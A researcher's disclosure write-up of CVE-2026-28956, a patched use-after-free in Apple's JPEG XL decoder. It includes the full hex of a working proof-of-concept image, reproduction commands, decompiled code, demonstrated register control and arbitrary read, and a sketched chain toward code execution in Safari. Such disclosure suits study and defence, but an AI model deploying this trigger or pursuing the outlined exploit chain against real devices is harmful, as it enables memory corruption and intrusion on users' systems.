Summary

A multi-UaF vulnerability in AppleJPEGXL. A crafted JPEG XL image with duplicate ISOBMFF jxlc (codestream) boxes causes the decoder’s internal std::vector to be freed prematurely; the destructor then iterates stale pointers from the freed buffer and passes them to free().

Parts of the vulnerability research process were AI-assisted (fuzzer development, reverse engineering tedium). AI hallucinates; findings were manually verified.

This was based off of my original findings writeup; so it may be a bit messy, as some of this was written by AI. I’ve revised most of the document to be more coherent. Please note that AppleJPEGXL is a thin wrapper around Google’s libjxl; so in the section with pseudocode; you can replace that with real code.

Vulnerability Details

Root Cause

To begin with, let’s understand what a JPEG XL file is. It’s an abomination of a file format created by Google; much akin to .webm and .webp. (Why do we need these?)

Core of the bug is that JPEGXL files can use an ISOBMFF container format (ISO 14496-12) with box types including jxlc for the codestream data. With a jxlc box that has size=0, it reads all the remaining data as codestream.

Now if you ned a second jxl/jxlc box sequence within; the decoder processes duplicate codestream data; ultimately leading to memory corruption. (std::vector).

see Call Chain Overview.

We’ll go into it more a little more later. Let’s first understand the file format we’re working with.

AI assistance was used for generating this documentation.

The Grand Format that is JXL

Box 1: JXL Signature (0x00-0x0b, 12 bytes)

00000000  00 00 00 0c 4a 58 4c 20  0d 0a 87 0a
          ├─────────┤├───────────┤  ├──────────┤
          size=12    type='JXL '   payload: \r\n\x87\n

Standard JPEG XL container signature per ISO 18181-2. The payload 0d 0a 87 0a is the JXL magic number that identifies the file as ISOBMFF-wrapped JPEG XL.

The payload is present in the memory or registers of some variants of this exploit; though they misuse the libjxl (what AppleJPEGXL mainly is) API.

Box 2: File Type (0x0c-0x1f, 20 bytes)

0000000c  00 00 00 14 66 74 79 70  6a 78 6c 20 00 00 00 00
          ├─────────┤├───────────┤  ├─────────┤ ├─────────┤
          size=20    type='ftyp'   brand='jxl ' version=0

0000001c  6a 78 6c 20
          ├─────────┤
          compat='jxl '

Standard ISOBMFF file type box identifying this as a JPEG XL file.

Box 3: Codestream (0x20-EOF, size=0)

00000020  00 00 00 00 6a 78 6c 63
          ├─────────┤├───────────┤
          size=0     type='jxlc'
          (extends to end of file)

This is the trigger. A size=0 jxlc box tells the parser that all remaining data in the file is codestream. However, within this range, at offset 0x64, the parser encounters what appears to be a second JXL signature + jxlc box sequence.

JXL Codestream Structure

Codestream 1 (file offset 0x28)

00000028  ff 0a 10 73 ff 40 4b 20  32 20 35 00 ...
          ├────┤├────┤├──────────────────────────
          magic SizeH  frame header + pixel data
  • ff 0a: JXL codestream signature (always 0xff0a)
  • 10 73: SizeHeader (2 bytes, bit-packed, LSB-first):
    • Bit 0: small = 0 (non-small image, explicit dimensions)
    • Bits 1-2: height_dist = 0 (9-bit height encoding)
    • Bits 3-11: height - 1 = 98height = 99 pixels
    • Bits 12-14: ratio = 7 (2:1 aspect ratio) → width = 198 pixels
  • Remaining bytes: frame header, TOC, ANS entropy-coded pixel data

Bit-level breakdown of SizeHeader 0x10 0x73:

Byte 0x10 = 0001 0000 (LSB first)
  bit  0:     0  = small (non-small)
  bits 1-2:  00  = height distribution (9-bit)
  bits 3-7: 10000 = lower 5 bits of (height-1)

Byte 0x73 = 0111 0011 (LSB first)
  bits 0-3: 0011  = upper 4 bits of (height-1) → 0b0011_10000 = 0x62 = 98
  bits 4-6: 111   = ratio = 7 (2:1)

  height = 98 + 1 = 99
  width  = 99 × 2 = 198

Duplicate Box Sequence (file offset 0x64)

00000064  34 00 00 00 6a 78 6c 20  00 00 00 00 6a 78 6c 63
                      ├───────────┤              ├───────────┤
                      type='jxl '               type='jxlc'
                      (box size=0x34000000)      (box size=0)

The ISOBMFF parser inside AppleJPEGXL encounters 6a 78 6c 20 ('jxl ') at offset 0x68 and interprets it as a box type. The preceding 4 bytes (34 00 00 00) are parsed as the box size (0x34000000 in big-endian). Then at 0x6c, 00 00 00 00 6a 78 6c 63 is parsed as a second jxlc box with size=0.

In some invocations; this itself will lead to a SIGABRT/SIGBUS/segmentation fault.

Codestream 2 (file offset 0x74)

00000074  ff 0a 10 73 ff 40 4b 20  32 20 35 00 ...
          ├────┤├────┤
          magic SizeH → 198×99, ratio=7 (IDENTICAL to codestream 1)

The second codestream has an identical SizeHeader to the first (same dimensions, same ratio). This causes the decoder to re-process the same pipeline configuration, triggering the intermediate cleanup that frees the vector backing buffer while the vector object still holds stale pointers.

Annotated Full Hex Dump

0000: 00 00 00 0c 4a 58 4c 20  0d 0a 87 0a 00 00 00 14  ....JXL ........
      [--- JXL Signature Box (12 bytes) ---] [- ftyp Box
0010: 66 74 79 70 6a 78 6c 20  00 00 00 00 6a 78 6c 20  ftypjxl ....jxl
       (20 bytes, brand='jxl ', compat='jxl ') --------]
0020: 00 00 00 00 6a 78 6c 63  ff 0a 10 73 ff 40 4b 20  ....jxlc...s.@K
      [-- jxlc box, size=0 --] [cs1: ff0a][SH] [-- frame/pixel data
0030: 32 20 35 00 c8 bf 06 20  00 00 34 00 4b 20 12 0c  2 5.... ..4.K ..
0040: 20 20 20 20 20 20 20 35  00 48 bf 06 01 3c 00 34         5.H...<.4
0050: 00 4b 20 12 0c 20 20 20  20 20 20 20 35 00 c8 bf  .K ..       5...
0060: 06 20 00 00 34 00 00 00  6a 78 6c 20 00 00 00 00  . ..4...jxl ....
                               [*** DUPLICATE 'jxl ' sig box ***]
0070: 6a 78 6c 63 ff 0a 10 73  ff 40 4b 20 32 20 35 00  jxlc...s.@K 2 5.
      [*DUPE jxlc*][cs2: ff0a][SH] [-- frame/pixel data (matches cs1)
0080: c8 bf 06 20 00 00 34 00  4b 20 12 0c 20 20 20 20  ... ..4.K ..
0090: 20 20 20 35 00                                        5.
      --- end of file (149 bytes) ---]

The key trigger is the presence of a second jxl /jxlc box sequence at offset 0x64-0x73, which falls inside the first jxlc box’s “extends to EOF” range. The ISOBMFF parser processes both codestreams, causing the decoder to corrupt its internal pipeline state.

ISOBMFF Box Structure of PoC

Offset  Size  Box Type   Description
0x00    12    JXL sig    JPEG XL signature box (0x0000000c 'JXL \r\n\x87\n')
0x0c    20    ftyp       File type box ('jxl ')
0x20    0     jxlc       Codestream box (size=0 → extends to EOF)
  0x28  ...              JXL codestream data (ff0a magic)
  0x64  12    JXL sig    *** DUPLICATE signature box (within first jxlc) ***
  0x70  0     jxlc       *** DUPLICATE codestream box ***
  0x78  ...              Second codestream data
                         ↑ This triggers the UAF

The key trigger is the presence of a second JXL /jxlc box sequence at offset 0x64, which falls inside the first jxlc box’s “extends to EOF” range.

Codestream Parameter Influence on Exploitation

So we understand how a .jxl file works now. Great.

We know that the duplicate codestream at 0x74 has a matching header. Both must have the same parameters for the UAF to trigger — the duplicate decode needs to exercise the same pipeline path as the first.

Tested dimension variants (all trigger the UAF):

Variant Dimensions UAF triggers
poc_8x16_tiny.jxl 8x16 Yes
poc_32x64_small.jxl 32x64 Yes
poc_99x198_original.jxl 99x198 Yes
poc_256x512_medium.jxl 256x512 Yes
poc_512x512_large.jxl 512x512 Yes

Image dimensions do not affect whether the UAF triggers — the bug fires for any valid codestream with the duplicate jxlc structure. However, dimensions and codestream data influence heap layout for exploitation:

  • Buffer sizes: larger images allocate larger internal buffers, landing in different malloc size classes with different reclamation characteristics
  • Pipeline stages: more complex images may create more pipeline stages, changing the size of the freed vector backing buffer
  • Heap feng shui: for a real exploit (without the interpose library), dimension tuning is critical for reliable heap spray reclamation
see Multi-Free Heap Corruption (No Interpose) section.

IDA Decompiled Call Trace (Annotated, by Claude)

The following is the decompiled destructor chain from JxlDecoderDestroy down to the UAF free() call, obtained via IDA Pro from the AppleJPEGXL binary on macOS 26.4.1 (arm64). Function names are IDA auto-generated (sub_XXXX) as the framework is stripped.

Call Chain Overview

JxlDecoderDestroy (0x23547bc2c)
  └→ sub_23547A8F0 (swap + destroy pipeline object)
       └→ sub_23547B140 (pipeline stage destructor)
            ├→ sub_235460544 (vector<stage> destructor loop)  ← iterates FREED backing buffer
            │    └→ sub_235451C2C (element destructor)        ← UAF free() here
            └→ sub_235451C2C (direct calls for other vectors)

1. JxlDecoderDestroy (0x23547bc2c) — Entry point

__int64 *__fastcall JxlDecoderDestroy(__int64 *result) {
  // ... frees ~15 sub-buffers via operator delete ...

  // KEY: Destroys the pipeline stage object at offset +413
  // This object's internal vector has ALREADY been freed
  // during intermediate decode cleanup (the duplicate jxlc trigger)
  sub_23547A8F0(v1 + 413, 0);   // ← enters the UAF path

  // ... continues cleanup, eventually frees decoder itself ...
}

2. sub_23547A8F0 (0x23547a8f0) — Swap-and-destroy

__int64 __fastcall sub_23547A8F0(__int64 *a1, __int64 a2) {
  result = *a1;    // Load current pointer
  *a1 = a2;        // Replace with NULL (a2=0)
  if (result) {
    sub_23547B140(result);       // ← destroy the pipeline object
    operator delete(result, );  // Then free the object itself
  }
}

3. sub_23547B140 (0x23547b140) — Pipeline stage cleanup

__int64 __fastcall sub_23547B140(__int64 a1) {
  // Frees various sub-buffers...

  // KEY: Calls vector destructor on the pipeline stages vector at a1+4912
  // This vector's backing buffer was ALREADY freed during decode
  v14 = (void **)(a1 + 4912);
  sub_235460544(&v14);           // ← UAF: iterates freed vector

  // Also directly calls element destructor on other objects
  sub_235451C2C((__int64 *)(a1 + 4304));
  // ...
}

4. sub_235460544 (0x235460544) — Vector destructor loop (UAF iteration)

This is the critical function that reads from freed memory:

void __fastcall sub_235460544(void ***a1) {
  v1 = *a1;           // v1 = &vector (contains begin/end/capacity pointers)
  v2 = **a1;          // v2 = vector.begin() — STALE POINTER to freed buffer
  if (v2) {
    v4 = v1[1];       // v4 = vector.end() — also stale
    v5 = **a1;

    // Iterates BACKWARDS through the freed backing buffer
    // Each element is 40 bytes (5 × 8-byte words)
    if (v4 != v2) {
      do {
        v6 = v4 - 5;                // Step back 40 bytes
        sub_235451C2C(v4 - 2);      // ← UAF: passes stale element to destructor
        v4 = v6;
      } while (v6 != v2);
      v5 = **a1;
    }
    v1[1] = v2;
    operator delete(v5);            // Double-free of the backing buffer
  }
}

Under MallocScribble=1, the freed backing buffer is filled with 0xAA. The loop reads 8-byte pointers from this scribbled memory, producing 0xaaaaaaaaaaaaaaaa values that are passed to sub_235451C2C.

5. sub_235451C2C (0x235451c2c) — Element destructor (the UAF)

This is where the use-after-free manifests as a controlled free() call:

void __fastcall sub_235451C2C(__int64 *a1) {
  v1 = *a1;       // Read pointer from vector element (FREED MEMORY)
  *a1 = 0;        // Write NULL back (write-after-free)
  if (v1) {
    // Atomic decrement of reference count at v1-24
    // Under scribble: v1 = 0xaaaaaaaaaaaaaaaa
    // So this reads/writes at 0xaaaaaaaaaaaaaaaa - 24 = 0xaaaaaaaaaaaaaaae
    atomic_fetch_add(&qword_2959170E0, -*(v1 - 24));

    // FREE THE BACKING BUFFER AT v1-32
    // Under scribble: free(*(0xaaaaaaaaaaaaaaaa - 32))
    //   = free(0xaaaaaaaaaaaaaaaa)  ← SIGABRT
    // Under normal alloc: free(<previously-valid-heap-addr>)
    //   = silent double-free       ← exploitable
    free(*(void **)(v1 - 32));       // ← THE UAF FREE
  }
}

Memory Layout of UAF

┌─────────────────────────────────────────────────────────┐
│ Pipeline Stages Vector (std::vector<Stage>)             │
│  .begin  → 0x????????  (STALE — points to freed buffer) │
│  .end    → 0x????????  (STALE)                          │
│  .cap    → 0x????????  (STALE)                          │
└───────────────┬─────────────────────────────────────────┘
                │
                ▼  (freed heap allocation)
┌─────────────────────────────────────────────────────────┐
│ FREED BACKING BUFFER (under MallocScribble=1)           │
│ AA AA AA AA AA AA AA AA  AA AA AA AA AA AA AA AA        │
│ AA AA AA AA AA AA AA AA  AA AA AA AA AA AA AA AA        │
│  ↑                                                      │
│  sub_235460544 reads these as element pointers          │
│  sub_235451C2C dereferences them: v1-32, v1-24          │
│  Then calls: free(*(v1-32)) → free(0xaaaaaaaaaaaaaaaa)  │
└─────────────────────────────────────────────────────────┘

Under normal allocation (no scribble):
┌─────────────────────────────────────────────────────────┐
│ FREED BACKING BUFFER (reused/not cleared)               │
│ <prev-valid-ptr1> <prev-valid-ptr2> <prev-valid-ptr3>   │
│  ↑                                                      │
│  Still contains previously-valid heap pointers          │
│  free(*(v1-32)) succeeds → silent double free           │
│  Process exits cleanly (exit 0) — no crash detected     │
└─────────────────────────────────────────────────────────┘

Reproduction

You’ll need macOS 26.4.1 or lower for this.

Files

  • poc.jxl — crafted, minimized JPEG XL file
  • poc.m — Standalone PoC using ImageIO (same code path as Safari), reads and displays ASB Commpage Target Flag values before triggering the crash
  • interpose_free.c — DYLD interposer that fills freed AppleJPEGXL buffers with ASB target flag values, simulating a successful heap spray. Two modes:
    • Register control (default): fills with _COMM_PAGE_ASB_TARGET_VALUE
    • Arbitrary read (ASB_MODE=arbrw): fills with _COMM_PAGE_ASB_TARGET_ADDRESS
DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib MallocScribble=1 \
sips -s format png poc.jxl --out /dev/null

Expected output:

GuardMalloc[sips-XXXXX]: Allocations will be placed on 16 byte boundaries.
GuardMalloc[sips-XXXXX]:  - Some buffer overruns may not be noticed.
GuardMalloc[sips-XXXXX]:  - Applications using vector instructions (e.g., SSE) should work.
GuardMalloc[sips-XXXXX]: version 064573.1.1
GuardMalloc[sips-XXXXX]: attempted free of pointer 0xaaaaaaaaaaaaaaaa
                         that was not claimed by any registered malloc zone

Process terminates with SIGABRT (exit code 134).

sips is a built-in macOS command-line tool that ships with every Mac. It’s actually really handy for converting files. It uses ImageIO internally, exercising the same AppleJPEGXL code path as Safari. (Everything just goes through CGImageSourceWithData, it turns out.)

Method 1b: qlmanage (Quick Look — no compilation needed)

DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib MallocScribble=1 \
qlmanage -t poc.jxl -o /tmp/

Expected output:

GuardMalloc[qlmanage-XXXXX]: attempted free of pointer 0xaaaaaaaaaaaaaaaa
                             that was not claimed by any registered malloc zone

Process terminates with SIGABRT (exit code 134).

qlmanage - CLI command line tool for QuickLook. Preinstalled on every Mac.

Method 2: Standalone PoC (with full backtrace)

# Build
clang -g -o ajpegxl_poc ajpegxl_poc.m \
    -framework WebKit -framework AppKit -framework Foundation \
    -framework ImageIO -framework CoreGraphics

# Run with Guard Malloc to detect the UAF
DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib \
MallocScribble=1 MallocGuardEdges=1 \
./wkwebview_poc poc.jxl

Expected output:

GuardMalloc[...]: attempted free of pointer 0xaaaaaaaaaaaaaaaa
                  that was not claimed by any registered malloc zone
[*] Decoding JXL via ImageIO (CGImageSourceCreateWithData)...
[*] This is the same decode path Safari's WebContent uses.
[*] Image source created, 1 image(s)
[*] Image 0: 198x99

Process terminates with SIGABRT (exit code 134).

Method 3: Under lldb (for backtrace capture)

lldb -- ./wkwebview_poc poc.jxl
(lldb) env DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib
(lldb) env MallocScribble=1
(lldb) env MallocGuardEdges=1
(lldb) run
(lldb) bt

Full Backtrace

* thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGABRT
  * frame #0:  libsystem_kernel.dylib`__pthread_kill + 8
    frame #1:  libsystem_pthread.dylib`pthread_kill + 296
    frame #2:  libsystem_c.dylib`abort + 124
    frame #3:  libgmalloc.dylib`GMfree + 124
    frame #4:  AppleJPEGXL`<element_destructor> + 64
    frame #5:  AppleJPEGXL`<vector_destroy_loop> + 72
    frame #6:  AppleJPEGXL`<pipeline_stage_cleanup> + 164
    frame #7:  AppleJPEGXL`<pipeline_stage_cleanup_wrapper> + 16
    frame #8:  AppleJPEGXL`<decoder_internal_destroy> + 404
    frame #9:  AppleJPEGXL`<decoder_destroy_entry> + 32
    frame #10: AppleJPEGXL`JxlDecoderDestroy + 220
    frame #11: CMPhoto`<jxl_decompression_cleanup> + 1428
    frame #12: CMPhoto`CMPhotoDecompressionContainerCreateImageForIndex + 204
    frame #13: ImageIO`HEIFReadPlugin::copyImageBlockSetImp + 2112
    frame #14: ImageIO`HEIFReadPlugin::decodeImageImp + 652
    frame #15: ImageIO`IIOReadPlugin::callDecodeImage + 1024
    frame #16: ImageIO`IIO_Reader::CopyImageBlockSetProc + 716
    frame #17: ImageIO`IIOImageProviderInfo::copyImageBlockSetWithOptions + 408
    frame #18: ImageIO`IIOImageProviderInfo::CopyImageBlockSetWithOptions + 908
    frame #19: CoreGraphics`imageProvider_retain_data + 96
    frame #20: CoreGraphics`CGDataProviderRetainData + 76
    frame #21: CoreGraphics`provider_for_destination_retain_data + 28
    frame #22: CoreGraphics`CGDataProviderRetainData + 76
    frame #23: CoreGraphics`CGAccessSessionCreate + 124
    frame #24: CoreGraphics`img_data_lock + 2380
    frame #25: CoreGraphics`CGSImageDataLock + 1168
    frame #26: CoreGraphics`ripc_AcquireRIPImageData + 1420
    frame #27: CoreGraphics`ripc_DrawImage + 808
    frame #28: CoreGraphics`CGContextDrawImageWithOptions + 1032
    frame #29: CoreGraphics`CGContextDrawImage + 556
    frame #30: wkwebview_poc`trigger_via_imageio + 652
    frame #31: wkwebview_poc`main + 236

Interpose Library Approach

The interpose_free.dylib DYLD interposer fills freed AppleJPEGXL buffers with ASB target flag values after free() returns. This is functionally identical to what Apple’s MallocScribble does (fill freed memory with 0xaa), but using ASB target values instead — simulating a successful heap spray that reclaims the freed vector backing buffer with attacker-controlled content.

The vulnerability’s UAF path then reads the attacker-controlled values from the freed buffer and propagates them into registers and memory accesses, producing crash logs that objectively demonstrate the exploit primitives.

Demonstrated Primitive 1: Register Control

# Build
clang -shared -o interpose_free.dylib interpose_free.c
clang -o wkwebview_poc wkwebview_poc.m \
    -framework WebKit -framework AppKit -framework Foundation \
    -framework ImageIO -framework CoreGraphics

# Run — produces .ips in /Library/Logs/DiagnosticReports/
DYLD_INSERT_LIBRARIES=./interpose_free.dylib ./wkwebview_poc poc.jxl

Crash log (.ips) evidence:

Exception Type:  EXC_BREAKPOINT (SIGKILL)

  x11: _COMM_PAGE_ASB_TARGET_VALUE    ← general-purpose register
  x16: _COMM_PAGE_ASB_TARGET_VALUE    ← syscall register (also GP, but, you know.)

Stack: mfm_alloc ← operator new ← AppleJPEGXL (decode path)

The ASB target value propagates from the freed buffer through heap metadata corruption into the magazine malloc allocator, appearing in general-purpose registers x11 and x16 when the allocator crashes trying to use the corrupted free-list as a next-pointer. Register control confirmed; and quite a nifty one at that (x16).

Again; this is not through the JXL files themselves. We see an example of this at the end.

Demonstrated Primitive 2: Arbitrary Read

ASB_MODE=arbrw DYLD_INSERT_LIBRARIES=./interpose_free.dylib ./wkwebview_poc poc.jxl

Crash log (.ips) evidence:

Exception Type:  EXC_BAD_ACCESS (SIGKILL)
Exception Subtype: KERN_INVALID_ADDRESS at _COMM_PAGE_ASB_TARGET_ADDRESS

  x0:  _COMM_PAGE_ASB_TARGET_ADDRESS   ← attacker-controlled address
  x23: _COMM_PAGE_ASB_TARGET_ADDRESS
  far: _COMM_PAGE_ASB_TARGET_ADDRESS   ← faulting address register
  esr: (Data Abort) byte read Translation fault

Stack: objc_msgSend ← CoreFoundation ← CMPhoto ← ImageIO

The corrupted pointer (ASB_TARGET_ADDRESS) is used as an Objective-C object by CoreFoundation during image metadata processing. objc_msgSend attempts to read the isa pointer from ASB_TARGET_ADDRESS, producing a Data Abort (read) at the exact target address. Arbitrary read and write confirmed; though not through the jxl file(s) themselves.

Memory Primitives

The vulnerability provides the following primitives to an attacker:

  1. Read from freed memory: The destructor loop reads 8-byte pointers from a freed heap buffer (the vector’s backing store)
  2. Controlled free(): Each stale pointer read from the freed buffer is passed to free(), giving the attacker a free-of-arbitrary-address primitive if they can control the contents of the freed allocation via heap spraying
  3. Silent double-free: Under normal allocation (no MallocScribble), the stale pointers are previously-valid heap addresses, causing silent double-free — the most dangerous variant as it corrupts heap metadata without any immediate crash
  4. Write NULL/Arbitrary r/w: After freeing each element, the destructor writes NULL to the slot (write-after-free to the same freed buffer) or can write attacker-controlled data (yay!)
  5. Controlled atomic decrement: Reference count decrements on stale objects

Multi-Free Heap Corruption (Natural, No Interpose)

The UAF naturally produces multi-free corruption without any interpose library: Ironically, you must interpose to observe the multi-free corruption.

Buffer size Times freed Addresses
640 bytes 5x Same address freed quintuple
96 bytes 4x Same address freed quadruple

This creates a cycle in magazine malloc’s free list. Subsequent malloc(536) calls within the framework return the same address to multiple live objects, producing overlapping C++ pipeline stage buffers and CoreGraphics ICC profile structures. Verified with interpose_free.c (you’ll find it in the repo.)

Exploit Primitive Analysis (arm64e Binary Analysis)

with assistance from AI.

Binary analysis of AppleJPEGXL (extracted from dyld_shared_cache_arm64e via radare2) reveals the element destructor at the core of the UAF:

; Element destructor at 0x233cd3b7c — no PAC on the element pointer
ldr x8, [x0]              ; x8 = controlled value from freed buffer (NO PAC)
str xzr, [x0]             ; write-after-free: NULL stored to freed buffer
cbz x8, ret
ldur x9, [x8, -0x18]      ; arbitrary read at (controlled_addr - 0x18)
neg x9, x9
ldaddal x9, x9, [x10]     ; atomic add to global refcount (fixed address)
ldur x0, [x8, -0x20]      ; arbitrary read at (controlled_addr - 0x20)
b operator_delete_stub     ; free(x0) — PAC-authenticated stub (braa x16, x17)

Key findings from the disassembly:

  • No PAC on element pointer: ldr x8, [x0] is a raw load — the attacker controls x8 without needing to forge a PAC signature
  • Two arbitrary reads: ldur x9, [x8, -0x18] and ldur x0, [x8, -0x20] dereference the controlled pointer at known offsets
  • free() of read value: operator delete is called with *(controlled - 0x20), which is a read-then-free primitive
  • All indirect calls are PAC-protected: the operator delete stub uses braa x16, x17 (authenticated branch). All vtable calls in the destroy path use autda/blraa. No unauthenticated indirect branches were found.

RIP. That codepath is gone. So I threw Claude at every binary that gets loaded into WebKit.

Comprehensive PAC Coverage Analysis

Exhaustive binary analysis (via ipsw extraction from dyld_shared_cache_arm64e on macOS 26.4.1) confirmed 100% PAC coverage across the entire vulnerable call chain:

Library __text size Non-PAC br/blr Stubs
AppleJPEGXL 0x14dd7c 0 __auth_stubs only
CMPhoto 0x15deec 0 __auth_stubs only
ImageIO 0x28aad0 0 __auth_stubs only
CoreGraphics 0x50b114 0 __auth_stubs only
libobjc 0x4084c 0 __auth_stubs only

Nothing immediate. But we go down below…

PAC coverage across all loaded libraries: Exhaustive scan (r2mcp, Claude assisted scan 😭) of 422 libraries extracted from dyld_shared_cache_arm64e (600MB+ of __text) via automation with Claude and r2mcp found 273 non-PAC indirect branches (br x3, br x2, etc.) across 17 libraries. Most are compiler-generated switch-case dispatch (br x16 after adr+add). (Don’t we love optimizing compilers?) The remaining are Swift runtime thunks and protocol witness dispatches.

Key non-PAC gadgets in libraries loaded during decode:

Library Non-PAC br Register Type
WebKit 29 x1-x3 Swift thunks / tail calls
SwiftUI 19 x3 Protocol witness dispatch
AXCoreUtilities 13 x3 Accessibility runtime
libCGInterfaces 3 x16 Switch-case (not exploitable)

The WebKit br x3 gadgets at 0x1aa71b890 etc. are tail-call thunks that branch to a function pointer in x3 after authenticating their own return address. Reaching these from the UAF requires a multi-step chain:

  1. Multi-free heap corruption → overlapping Swift/ObjC objects
  2. Corrupted object’s witness table pointer redirected to controlled memory
  3. Protocol witness dispatch loads attacker-controlled function pointer into x3
  4. Thunk executes br x3 → jump to _COMM_PAGE_ASB_TARGET_ADDRESS

This chain is theoretically viable but requires precise heap feng shui to overlap a Swift protocol witness with the JXL pipeline stage buffers. Discovered postmortem — not pursued during the original research; though I did actually have a reproducer for Safari heap corruption. Keep reading!

On non-PAC targets (pre-arm64e devices, A11 and earlier), the multi-free heap corruption alone is sufficient for arbitrary code execution via classic tcache poisoning / heap feng shui techniques — the overlapping objects provide a direct type confusion primitive. (checkra1n is dead; iOS 16 is insecure; get a new phone.)

Safari Demonstration

The poc.html page demonstrates the vulnerability in Safari’s WebContent process:

  1. Zero-click trigger: <img src="poc.jxl"> decodes the crafted JXL automatically
  2. Multi-free UAF: the duplicate jxlc box causes the same 640-byte buffer to be freed 5 times within AppleJPEGXL, corrupting the magazine malloc free list
  3. Observable from JavaScript: a subsequent createImageBitmap() call fails with "Cannot decode the data" — the decoder’s internal state is corrupted and can no longer process JXL images in the affected WebContent process
  4. Framework objects corrupted: native profiling confirms malloc(536) returns the same address to multiple live C++ pipeline stage objects — overlapping allocations within the framework’s own code

The corruption crosses the native/JS boundary: JavaScript can observe that the image decoder is broken after the JXL triggers the UAF. In a full exploit, an attacker would pre-spray ArrayBuffer backing stores before the JXL decode to land controlled data in the corrupted free-list slots, enabling type confusion and arbitrary read/write.

My PoC File (hex)

0000000c4a584c200d0a870a00000014667479706a786c20000000006a78
6c20000000006a786c63ff0a1073ff404b2032203500c8bf062000003400
4b20120c20202020202020350048bf06013c0034004b20120c2020202020
20203500c8bf06200000340000006a786c20000000006a786c63ff0a1073
ff404b2032203500c8bf0620000034004b20120c202020202020203500

Vulnerability Disclosure Timeline

  • 2026-03-05: Vulnerability discovered via fuzzing
  • 2026-03-05: Root cause identified, PoC minimized, report written
  • 2026-03-05: Submitted to Apple Product Security
  • 2026-05-12: ASB Commpage Target Flag integration — register control and arbitrary read demonstrated via .ips crash reports. arm64e binary analysis of PAC coverage across 422 DSC libraries (ipsw + radare2). Multi-free heap corruption and overlapping live objects confirmed. Safari WebContent heap corruption demonstrated via poc.html — decoder state corruption observable from JavaScript. CVE-2026-28956 assigned (patched).
  • 2026-05-15: ASB Bounty of $1,000 awarded.

Part 2: The Mistake(?) (May 15th, 2026)

I reported in good faith, hoping for a good payout. I demonstrated register control (functionally identical to GuardMalloc), that ASan does not catch this, and that it succeeds silently without an interposer library.

During the postmortem, I found that WebKit was exploitable — the non-PAC br x3 gadgets were there. I was too quick to dismiss the 0day. In retrospect, it may have been worth pursuing the $350k ASB WebKit award. Other opportunities will continue to exist.

This is further demonstrated by a WebContent crash I had and forgot about.

Conclusions

It was fun getting to do research on this. AI models, frontier or not, are helpful in some tasks; but not the greatest in others.

I’m going to continue on as-is with my research, hopefully with a better writeup next time! I feel this one is too concise. That being said; if you would like to show some support, Patreon and Ko-Fi are linked above, and here’s my XMR address.

8BRDqr61FZJjLUCTYWjjUJZiepNvCysy9JWYif9pW5Wg7fnfBbBWuQWVJ4pF2HHiFS2DxYbt4B2ZwWFaj54jLKy6U4HMbPS

PoC files, minus the Safari crash, will be on my GitHub at https://github.com/impost0r/CVE-2026-28956